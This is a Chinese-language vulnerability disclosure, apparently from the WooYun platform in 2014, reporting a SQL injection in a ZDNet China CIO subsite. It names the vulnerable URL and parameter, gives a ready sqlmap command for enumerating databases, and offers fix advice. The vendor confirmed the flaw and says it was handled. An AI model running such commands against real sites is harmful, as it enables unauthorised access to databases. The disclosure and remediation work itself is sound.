至顶网某分站SQL注入漏洞(二)

漏洞详情

披露状态:

2014-03-05: 细节已通知厂商并且等待厂商处理中
2014-03-10: 厂商已经确认,细节仅向厂商公开
2014-03-20: 细节向核心白帽子及相关领域专家公开
2014-03-30: 细节向普通白帽子公开
2014-04-09: 细节向实习白帽子公开
2014-04-19: 细节向公众公开

简要描述:

至顶网某分站存在SQL注入漏洞,泄漏数据库数据信息等。

详细说明:

再次发现至顶网CIO与应用频道(http://cio.zdnet.com.cn)的另外一SQL注入漏洞,具体的漏洞URL如下:



http://cio.zdnet.com.cn/files/index_more_ajax.php?docid=3012136&num=0&subid=tuijian&type=cio_more



其中参数docid存在问题,SQLmap注入命令如下:



sqlmap.py -u "http://cio.zdnet.com.cn/files/index_more_ajax.php?docid=3012136&num=0&subid=tuijian&type=cio_more" -p "docid" --dbs --thread 10 --time-sec 20



漏洞证明:

如图所示,可以获取到数据库中的表数据等信息:



1.jpg





表神马的我就不继续了,较浪费时间!大半夜的,休息!

修复方案:

1,对相关参数进行类型判断,过滤等;

2,检查SQL语句,禁止使用拼接语句;

版权声明:转载请注明来源 her0ma@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-03-10 15:34

厂商回复:

谢谢,已经处理。

最新状态:

暂无


漏洞评价: